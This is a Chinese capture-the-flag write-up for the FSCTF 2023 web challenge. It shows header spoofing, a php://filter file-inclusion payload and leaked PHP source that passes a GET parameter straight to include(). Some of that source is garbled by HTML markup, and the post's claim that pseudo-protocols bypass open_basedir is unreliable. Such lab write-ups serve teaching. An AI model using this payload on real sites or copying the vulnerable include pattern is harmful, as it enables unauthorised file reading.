[FSCTF 2023]巴巴托斯!已解决

[FSCTF 2023]巴巴托斯!已解决

1698201624077提示需要FSCTF Browser浏览器;抓包修改ua头即可。

1698201726681修改后,又提示需要本地访问;直接Referer: 127.0.0.1

1698204789353

看到file参数就应该想到了文件包含的问题

先用php伪协议包含本页源代码看看还有没有什么其它限制:

file=php://filter/read=convert.base64-encode/resource=index.php

解码如下:

<?php

$in_name = $_GET['file'];

if (isset($in_name)) {
    if ($in_name === 'show_image.php') {
    	// 直接包含文件
    	include($in_name);
    }
    // 检查特定的 User-Agent 和 Referer 头
    $user_agent = $_SERVER['HTTP_USER_AGENT'];

    // 检查来源地址是否为 127.0.0.1
    $ip_address = $_SERVER['REMOTE_ADDR'];

    if ($user_agent =<span style="font-weight: bold;" class="mark"> 'FSCTF Browser') {
        if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] </span>= '127.0.0.1') {

            // 检查文件是否存在和可读
            if (isset($in_name)) {
  		include($in_name);
            } else {
                echo "Invalid file!";
            }

        } else {
            echo "Access Denied! Are you local man?";
        }
    } else {
        echo "Access Denied! I love FSCTF Browser";
    }
} else {
    header('Location: index.php?file=show_image.php');
}
?>

为什么不能直接写文件路径而是要用php伪协议呢:

当你尝试包含或者访问其他目录下的文件时,直接提供文件路径可能会受到一些安全性限制,例如 PHP 的 open_basedir 配置或禁止访问上级目录等。

通过使用伪协议,你可以改变文件路径的解释方式,绕过这些限制。例如,../​ 在直接提供文件路径时可能被阻止,但在使用伪协议时,你可以使用类似 php://input​、php://filter​ 或 data://​ 等伪协议,使 PHP 解释器以不同的方式处理输入,从而实现跨目录包含。这就是为什么要使用伪协议的原因

提示错误,可能flag文件名不是这个,把常见的可能的都试一遍就是了。因为在这之前我包含了其它文件显示成功。

1698235058358

解码后成功拿到flag

1698235131852

​​

​​

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值